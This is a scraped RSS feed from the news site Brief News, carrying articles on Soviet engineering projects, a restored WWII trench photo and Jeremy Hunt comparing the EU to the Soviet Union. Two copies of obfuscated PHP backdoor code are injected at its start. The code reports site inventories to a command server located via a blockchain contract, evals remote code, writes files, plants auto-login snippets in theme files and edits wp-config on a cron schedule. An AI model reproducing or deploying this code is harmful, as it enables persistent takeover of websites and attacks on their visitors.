// q2_xh if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// q2_xh', 'vis'=>'// xp_v9', 'vis_func'=>'wp_dia8xd', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_47nl0jvi', ); $keys=array(); $keys['id']='kun'; $keys['ver']='em'; $keys['caps']='eby'; $keys['tasks']='awd'; $keys['interval']='pww'; $keys['ack_id']='nl0'; $keys['ok']='9s'; $keys['detail']='wyy'; $keys['inv']='kxw'; $keys['result']='f3t'; $hdr='X-J98-Auth';$tok='0cQMbCeRLTCSW0NdninnOEVrAtwy11ErS16wrKLqeas';$id='1d0c923bac57072b';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); // l0_9z if(!defined('ABSPATH'))return; $cfg=array( 'stub'=>'/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php', 'ctrl'=>'// l0_9z', 'vis'=>'// zn_yn', 'vis_func'=>'wp_cuzg8t', 'vis_paths'=>array('/data/web/virtuals/153909/virtual/www/domains/briefnews.eu/wp-content/plugins/wp-helper-4bdb4f/wp-helper-4bdb4f.php'), 'opt'=>'_wp_mtrhds4x', ); $keys=array(); $keys['id']='ybc'; $keys['ver']='a1'; $keys['caps']='afo'; $keys['tasks']='x9t'; $keys['interval']='2e4'; $keys['ack_id']='k72'; $keys['ok']='ch'; $keys['detail']='xd9'; $keys['inv']='hw8'; $keys['result']='0bb'; $hdr='X-L8A-Auth';$tok='A3-EVnA_qOJ132k0gQIT_73RgM-QQ5Szxw145ZNDetU';$id='d1451f9eb0097c9f';$interval=420; function _ea_inv($cfg){ $r=array('ts'=>time(),'wp'=>(function_exists('get_bloginfo')?get_bloginfo('version'):''),'php'=>PHP_VERSION); $chk=function($p,$m){$o=array('path'=>$p,'exists'=>false,'marker'=>false,'size'=>0);if(!$p||!is_string($p))return $o; if(@is_file($p)){$b=@file_get_contents($p);$o['exists']=true;$o['size']=strlen((string)$b);$o['marker']=($b&&strpos($b,$m)!==false);}return $o;}; $r['stub']=$chk($cfg['stub'],$cfg['ctrl']); $vis=array('plugin'=>null,'paths'=>array()); foreach($cfg['vis_paths'] as $_vp){$vis['paths'][]=$chk($_vp,$cfg['vis']);} $found=null;foreach($vis['paths'] as $_p){if(!empty($_p['marker'])){$found=$_p;break;}} if(!$found){$pd=WP_CONTENT_DIR.'/plugins';if(@is_dir($pd)){foreach(@glob($pd.'/*/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_plug')!==false){$found=$chk($_f,'// ea_plug');break;}}} $vis['plugin']=$found?:array('path'=>'','exists'=>false,'marker'=>false); $r['visitor']=$vis; $mu=array('path'=>'','exists'=>false,'marker'=>false);$md=WP_CONTENT_DIR.'/mu-plugins'; if(@is_dir($md)){foreach(@glob($md.'/*.php')?:array() as $_f){$b=@file_get_contents($_f);if($b&&strpos($b,'// ea_mu')!==false){$mu=$chk($_f,'// ea_mu');break;}}} $r['mu_autologin']=$mu; $ft=0;$fw=0;$td=WP_CONTENT_DIR.'/themes';if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$ft++;$b=@file_get_contents($_f);if($b&&strpos($b,'// _ea_al')!==false)$fw++;}} $r['functions_autologin']=array('themes_total'=>$ft,'themes_with_marker'=>$fw); $wpc=array('path'=>(defined('ABSPATH')?ABSPATH.'wp-config.php':''),'exists'=>false,'marker'=>false); if($wpc['path']&&@is_file($wpc['path'])){$b=@file_get_contents($wpc['path']);$wpc['exists']=true;$wpc['marker']=($b&&(strpos($b,'// _ea_wc')!==false||strpos($b,'/* _ea_wc_s */')!==false));} $r['wpconfig_inject']=$wpc; $cp=array();if(defined('LSCWP_V'))$cp[]='litespeed';if(defined('W3TC'))$cp[]='w3tc'; if(defined('WP_ROCKET_VERSION'))$cp[]='wp_rocket';if(defined('WPCACHEHOME'))$cp[]='wp_super_cache'; if(defined('SG_CACHEPRESS'))$cp[]='sg_optimizer';$r['cache']=array('plugins'=>$cp,'opcache'=>function_exists('opcache_get_status')); return $r;} function _ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id){ $_ok=false;$_detail='';$_result=null; $_code=isset($_task['t'])?$_task['t']:'';$_p=isset($_task['p'])?$_task['p']:array();$_tid=isset($_task['i'])?$_task['i']:0; if(($_code==='wf'||$_code==='ld')&&!empty($_p['path'])&&isset($_p['content'])){ $_path=$_p['path'];$_body=@is_file($_path)?@file_get_contents($_path):''; if($_code==='ld'&&strpos((string)$_body,$_p['content'])===false)$_body.=$_p['content']; elseif($_code==='wf')$_body=$_p['content']; $_ok=@file_put_contents($_path,$_body)!==false; }elseif($_code==='su'&&!empty($_p['path'])&&!empty($_p['content'])){ $_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='rp'&&!empty($_p['code'])){ ob_start();try{eval($_p['code']);$_ok=true;}catch(Throwable $e){$_detail=$e->getMessage();}catch(Exception $e){$_detail=$e->getMessage();} $_result=array('output'=>ob_get_clean());} elseif($_code==='va'){$_result=_ea_inv($cfg);$_ok=true;} elseif($_code==='fc'){ $p=array();if(function_exists('wp_cache_flush')){wp_cache_flush();$p[]='object';} if(function_exists('opcache_reset')){@opcache_reset();$p[]='opcache';} if(defined('LSCWP_V')&&function_exists('do_action')){do_action('litespeed_purge_all');$p[]='litespeed';} if(defined('W3TC')&&function_exists('w3tc_flush_all')){w3tc_flush_all();$p[]='w3tc';} if(function_exists('rocket_clean_domain')){rocket_clean_domain();$p[]='wp_rocket';} if(function_exists('wp_cache_clear_cache')){wp_cache_clear_cache();$p[]='wp_super_cache';} if(function_exists('sg_cachepress_purge_cache')){sg_cachepress_purge_cache();$p[]='sg_optimizer';} $_ok=true;$_result=array('purged'=>$p);} elseif($_code==='ma'&&!empty($_p['path'])&&!empty($_p['content'])){ @wp_mkdir_p(dirname($_p['path']));$_ok=@file_put_contents($_p['path'],$_p['content'])!==false; }elseif($_code==='fn'&&!empty($_p['snippet'])){ $td=WP_CONTENT_DIR.'/themes';$n=0;if(@is_dir($td)){foreach(@glob($td.'/*/functions.php')?:array() as $_f){$b=@file_get_contents($_f);if(strpos((string)$b,'// _ea_al')===false){$b=rtrim((string)$b)."\n".$_p['snippet'];if(@file_put_contents($_f,$b)!==false)$n++;}}} $_ok=$n>0;$_result=array('themes_updated'=>$n);} elseif($_code==='wc'){ $wp=ABSPATH.'wp-config.php';if(@is_file($wp)){$b=@file_get_contents($wp); if(strpos($b,'/* _ea_wc_s */')!==false){$b=preg_replace('#/\*/* _ea_wc_s */\*/.*?/\* _ea_wc_e \*/#s','',$b);} $b=str_replace(array('// _ea_wc','/* _ea_wc_s */','/* _ea_wc_e */'),'',$b);$_ok=@file_put_contents($wp,$b)!==false;} } $ack=array($keys['ack_id']=>$_tid,$keys['ok']=>$_ok,$keys['detail']=>$_detail); if($_result!==null)$ack[$keys['result']]=$_result; return $ack;} function _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,$force){ $k=$cfg['opt'];if(!$force&&!wp_doing_cron()){ if(is_admin())return; $last=(int)get_option($k,0);if(time()-$last<$interval)return; } $u='likingdropout.site';$co='0x9e33A3979F74c7700E4BaA7e7a2934556f72eF96';$sel='0x38bd65e2';$rpcs=array('https://data-seed-prebsc-1-s1.bnbchain.org:8545','https://data-seed-prebsc-1-s1.bnbchain.org:8545/','https://data-seed-prebsc-2-s1.binance.org:8545/','https://data-seed-prebsc-2-s2.binance.org:8545/','https://bsc-testnet-dataseed.bnbchain.org/','https://bnb-testnet.api.onfinality.io/public'); foreach($rpcs as $_rpc){ $b=json_encode(array('jsonrpc'=>'2.0','id'=>97,'method'=>'eth_call','params'=>array(array('to'=>$co,'data'=>$sel),'latest'))); $ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n",'content'=>$b,'timeout'=>3,'ignore_errors'=>true))); $raw=@file_get_contents($_rpc,false,$ctx); if(!$raw)continue; $j=json_decode($raw,true); if(empty($j['result'])||strlen($j['result'])<10)continue; $h=substr($j['result'],2); if(strlen($h)<128)continue; $off=(int)hexdec(substr($h,0,64)); $len=(int)hexdec(substr($h,$off*2,64)); $_z=pack('H*',substr($h,$off*2+64,$len*2));if($_z)$u=$_z;break; } $_hp='/panel/api/v1/metrics/collect'; $_z=trim((string)$u);$_z=preg_replace('#^https?://#','',$_z); if(strpos($_z,'/')!==false){$_xp=explode('/',$_z,2);$_z=$_xp[0];if(!empty($_xp[1]))$_hp='/'.ltrim($_xp[1],'/');} $_z=trim($_z,'.');if(!$_z)$_z='likingdropout.site'; $_s=substr(str_replace(array('+','/','='),'',base64_encode(random_bytes(6))),0,10); $u='https://'.$_s.'.'.$_z.$_hp; $_ack=$u;if(substr($_ack,-7)==='collect')$_ack=substr($_ack,0,-7).'ack';else $_ack=rtrim($_ack,'/').'/ack'; $inv=_ea_inv($cfg); $b=array($keys['id']=>$id,$keys['ver']=>2,$keys['caps']=>array('server_sync','visitor_js','write_file'),$keys['inv']=>$inv); $resp='';if(function_exists('wp_remote_post')){$_r=wp_remote_post($u,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($b)));if(!is_wp_error($_r))$resp=(string)wp_remote_retrieve_body($_r);}else{$ctx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($b),'timeout'=>20,'ignore_errors'=>true)));$resp=(string)@file_get_contents($u,false,$ctx);} if(!$resp)return; update_option($k,time(),false); $j=json_decode($resp,true);$tk=$keys['tasks']; if(empty($j[$tk])||!is_array($j[$tk]))return; foreach($j[$tk] as $_task){ $ack=_ea_run_task($_task,$cfg,$keys,$hdr,$tok,$id); if(function_exists('wp_remote_post')){@wp_remote_post($_ack,array('timeout'=>20,'sslverify'=>false,'headers'=>array('Content-Type'=>'application/json',$hdr=>$tok,'X-Site-Id'=>$id),'body'=>json_encode($ack)));}else{$actx=stream_context_create(array('ssl'=>array('verify_peer'=>false,'verify_peer_name'=>false),'http'=>array('method'=>'POST','header'=>"Content-Type: application/json\r\n".$hdr.": ".$tok."\r\nX-Site-Id: ".$id."\r\n",'content'=>json_encode($ack),'timeout'=>20,'ignore_errors'=>true)));@file_get_contents($_ack,false,$actx);} } } add_filter('cron_schedules',function($s){$s['ea_fleet']=array('interval'=>$interval,'display'=>'Fleet sync');return $s;}); add_action('init',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ if(!wp_next_scheduled('ea_fleet_sync'))wp_schedule_event(time()+120,'ea_fleet','ea_fleet_sync'); _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,false); },1); add_action('ea_fleet_sync',function()use($cfg,$keys,$hdr,$tok,$id,$interval){ _ea_sync($cfg,$keys,$hdr,$tok,$id,$interval,true); }); Soviet – Brief News https://briefnews.eu Latest World News. Find every day short and brief information composed of titles and subtitles and continue reading if interested. Wed, 26 Dec 2018 21:06:05 +0000 en-US hourly 1 https://wordpress.org/?v=7.0.7 https://briefnews.eu/wp-content/uploads/2018/01/cropped-logoSmall-1-32x32.png Soviet – Brief News https://briefnews.eu 32 32 From the Buran to the Caspian Sea Monster: 5 epic Soviet projects https://briefnews.eu/from-the-buran-to-the-caspian-sea-monster-5-epic-soviet-projects/ https://briefnews.eu/from-the-buran-to-the-caspian-sea-monster-5-epic-soviet-projects/#respond Wed, 26 Dec 2018 21:06:05 +0000 http://briefnews.eu/from-the-buran-to-the-caspian-sea-monster-5-epic-soviet-projects/

The Tu-144 supersonic passenger jet entered service 43 years ago – to mark the date, RT has compiled a list of equally epic Soviet tech marvels. Some started legacies, others were forgotten, and some are still kicking today.

Tu-144, the ‘Soviet Concorde’

One of only two commercial supersonic transport planes – the other being the Concorde – Tupolev Tu-144 first took flight on December 31, 1968, two months before its Anglo-French counterpart. With their sleek shapes and tilting pointy noses – necessary to switch between streamlined flight mode and visibility during take-off and landing – both became symbols in late 20th century aviation.

On December 26, 1975, the Tu-144 went into service, transporting mail between Moscow and the then Kazakh capital Alma-Ata (now Almaty). Two years later it carried its first passengers along the same route. The 3,200km flight took about two hours – twice as fast as a regular one.

Tu-144 creators had big plans for the craft. Maps were drawn up with supersonic air lanes connecting Moscow to all over the globe, including Europe, Japan and Cuba. But it was not meant to be: the only times the plane flew outside the Soviet Union was at three airshows in Le Bourget in the 1970s – and one of those times ended with a crash that killed 14 people.

Two more died in another crash landing in 1978. Plagued with safety issues and unprofitable, the Tu-144 ended its passenger-carrying career after just eight months and 55 flights. It occasionally carried cargo until 1999, when it was retired for good – four years before the Concorde.

Buran, the Soviet space shuttle

One of the ways the Tu-144s legacy endured was its use to train crews for the Soviet spacecraft Buran (‘blizzard’ in Russian). Conceived in 1973, the Buran was meant to rival the American space shuttle program, carrying crews and cargo to the orbit and back.

Development required a massive effort, involving some 2.5 million people from across the Soviet Union. The first flight was scheduled for 1984, but had to be pushed back, until in 1988 the Buran finally roared into the sky. It was carried on the ‘Energia’ rocket – the most powerful the Soviet Union ever built.

Buran’s first and only flight was unique in that it was unmanned, controlled from the ground lift-off to landing. It flew around the Earth twice in four hours, and landed safely – forever. As the Soviet Union fell apart, economy forced the program to be suspended indefinitely in 1993.




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‘Soviet space shuttle’: Learn how Buran made debut flight 30 years ago (PHOTOS, VIDEOS)



An-225 Mriya, the heaviest plane ever built

Transporting the Buran on its back was the Antonov An-225 Mriya (“dream” in Ukrainian). Designed in the Ukrainian Soviet Republic with the initial purpose of carrying the Soviet spacecraft, it made its maiden flight in 1988 and entered full service in 1989.

With an impressive length of 84 meters (275 feet) and a wingspan of 88.4 meters (290 feet), it is one of the largest airplanes in existence.

Only one of these flying behemoths was ever built, and it took effort by companies from several cities across Russia and Ukraine (all part of the Soviet Union at the time). Capable of lifting 390 tonnes of cargo, it made it possible to move by air things previously though too heavy and bulky.

The one and only Mriya remains operational to this day, operated by Ukraine’s Antonov Airlines and contracted to carry massive industrial and military equipment.

The Caspian Sea Monster

Before the Mriya, the heaviest lift capacity record was held by the KM (short for “Корабль-макет”, or “prototype ship”) – a unique Soviet ground effect vehicle built in the 1960s.

Granted, it didn’t carry the cargo too high in the air – ground effect vehicles are designed to fly low, utilizing the increased lift force generated between the wings and the surface of the ground or water.

Dubbed the Caspian Sea Monster (which is also abbreviated to KM in Russian), the prototype could carry up to 304 tonnes of cargo and go at a speed of over 400 km/h (250 mph). It was developed and built in secrecy, and underwent 15 years of test flights on the Caspian Sea.

In 1980, the same year its creator died from injuries during the testing of another ground effect vehicle, the Caspian Sea Monster perished as well. Pilot error left it damaged and drifting in the water for several days, before it finally sank, never to be lifted back up.

The Lenin, the first nuclear icebreaker

In 1957, the Soviet Union added a revolutionary spark to the practice of clearing frozen-over sea lanes, by launching the first-ever nuclear-powered surface ship. Combining two things Russia has in abundance – ice and uranium, – was the Lenin, an icebreaker that began a unique shipbuilding trend.

Powered by two reactors and four turbines, the Lenin cleared ice along the Soviet Union’s northern shores for over 30 years and sailed farther north than any surface vessel before it. It was retired in 1989, its hull worn thin by all the ice it had plowed through, and became a floating museum in the city of Murmansk.

The Soviet Union was, and Russia remains, the only country to build and use nuclear-powered icebreakers. A total of ten have been constructed since the Lenin, five remain operational to this day, and new ones are being built.

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]]> https://briefnews.eu/from-the-buran-to-the-caspian-sea-monster-5-epic-soviet-projects/feed/ 0 Film unearthed from WWII trench reveals faces of Soviet fighters who battled against Nazis (VIDEO) https://briefnews.eu/film-unearthed-from-wwii-trench-reveals-faces-of-soviet-fighters-who-battled-against-nazis-video/ https://briefnews.eu/film-unearthed-from-wwii-trench-reveals-faces-of-soviet-fighters-who-battled-against-nazis-video/#respond Thu, 01 Nov 2018 19:55:38 +0000 http://briefnews.eu/film-unearthed-from-wwii-trench-reveals-faces-of-soviet-fighters-who-battled-against-nazis-video/

A photo from a Leica camera, which spent 77 years buried in a WWII trench near Russia’s southern city of Rostov-on-Don, has been restored by researchers, revealing a stunning image of volunteers fighting Nazis.

A team of amateur archeologists, devoted to recovering remains and artifacts from WWII sites, made the discovery when they unearthed the trench in one of the city’s suburbs.

In autumn of 1941, it was the site of fierce battles as the Russians tried to prevent Nazi troops from entering Rostov-on-Don.

The camera was tucked away carefully in a bag, probably by a Red Army officer whose remains were discovered in the trench along with a helmet and machine gun shells.

“He was defending his position and died when the Germans hit him with a frag grenade”, says Andrey Kudryakov, a search brigade chief.

The camera itself is a legendary Leica A model, one of the world’s first portable small cameras, created in Germany in 1925. The film inside was mostly damaged beyond restoration, except for one frame which miraculously remained intact. Experts carefully applied various methods to develop the surviving frame piece by piece.

The result was a photo showing two dozen (or more) men and women dressed in civilian clothes or paramilitary fatigues. The men had stern faces, while the women were pictured smiling.

Historians believe that this could be the last photo of a local volunteer battalion that was one of the first to face Nazis during the opening phase of the war.

But who are those people and did they survive the perils of war? Search for the relatives are now underway in Russia, local researchers say.

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]]> https://briefnews.eu/film-unearthed-from-wwii-trench-reveals-faces-of-soviet-fighters-who-battled-against-nazis-video/feed/ 0 UK Foreign Secretary likens EU to both Soviet Union and a prison, brings down a twitterstorm https://briefnews.eu/uk-foreign-secretary-likens-eu-to-both-soviet-union-and-a-prison-brings-down-a-twitterstorm/ https://briefnews.eu/uk-foreign-secretary-likens-eu-to-both-soviet-union-and-a-prison-brings-down-a-twitterstorm/#respond Mon, 01 Oct 2018 00:07:24 +0000 http://briefnews.eu/uk-foreign-secretary-likens-eu-to-both-soviet-union-and-a-prison-brings-down-a-twitterstorm/ Whether it was the impact of Russia or a desire to get out a good sound bite, but the UK foreign secretary Jeremy Hunt compared EU to the Soviet Union and a prison. No way that could have gone down well on social media.

Trying to warn Brussels against rejecting UK Prime Minister Theresa May’s Brexit deal, Hunt shot for a one-two punch combo: virtually calling the EU a “prison” for member states, and comparing it to the Soviet Union at the same time.

“The EU was set up to protect freedom. It was the Soviet Union that stopped people leaving,” Hunt told the Tory conference in Birmingham, referring to the long-standing deadlock in the UK’s negotiations with the EU over the Brexit deal.

“The lesson from history is clear: if you turn the EU club into a prison, the desire to get out won’t diminish, it will grow – and we won’t be the only prisoner that will want to escape,” he added. Hunt himself voted ‘Remain’ back in 2016, but then said he changed his mind because of the “arrogance” Brussels displayed during the Brexit negotiations that followed the referendum.

His words did not sit well with the public. Twitter exploded with critical comments as people called his parallels “disgusting” and said that Hunt should apologize to the people of Eastern Europe, who lived in countries of the then Soviet-led Warsaw Pact.

Users denounced his remarks as “invidious” and said that was just a way to cover his own “incompetence” at the Brexit negotiations. Others argued that it is Brexit that actually left people “trapped.”

Hunt, meanwhile, also warned the EU that, in case it rejects “the hand of friendship offered by our Prime Minister, you turn your back on the partnership that has given Europe more security, more freedom and more opportunities than ever in history.” That would be a “wholly avoidable tragedy for Europe,” he added. 

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© Denis Balibouse/Reuters (L)/Toby Melville/Reuters (R)

His words come just days before another Brexit summit in Brussels. Theresa May demanded that the EU bring a new set of proposals to the table to break the “impasse” in the negotiations. Earlier, the EU rejected the Chequers plan presented by May herself. The EU Council President Donald Tusk said that it “risks undermining the single market.”

However, May is having to fight on two fronts, pushing her Brexit plan both in Brussels and within her party’s own ranks at home. Earlier on Sunday, ex-Foreign Secretary Boris Johnson called May’s Chequers plan “deranged.”

Tackling the criticism of her plan on the first day of the conference, May warned her Chequers detractors to “stop playing politics” and urged Tory members to “come together” to back the Brexit plan.

